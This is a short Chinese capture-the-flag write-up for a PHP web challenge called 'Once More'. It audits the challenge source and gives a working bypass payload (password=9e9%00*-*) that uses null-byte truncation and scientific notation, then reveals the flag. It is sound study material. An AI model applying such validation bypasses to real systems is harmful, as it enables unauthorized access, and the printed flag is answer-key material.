Once More
原题链接
http://ctf5.shiyanbar.com/web/more.php
分析
审计源码
<?php
if (isset ($_GET['password'])) {
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
{
echo '<p>You password must be alphanumeric</p>';
}
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
{
if (strpos ($_GET['password'], '*-*') !== FALSE)
{
die('Flag: ' . $flag);
}
else
{
echo('<p>*-* have not been found</p>');
}
}
else
{
echo '<p>Invalid password</p>';
}
}
?>
password有几个要求
- 必须是数字及字母组成
- 长度小于8
- 值大于999999
- 要包含
*-*
包含的*-*
可以放在%00
后面,%00
截断,>999999
可以用科学计数法。
EZ:
password=9e9%00*-*
flag
CTF{Ch3ck_anD_Ch3ck}
知识点
php简单审计,科学记数法,%00截断
网友评论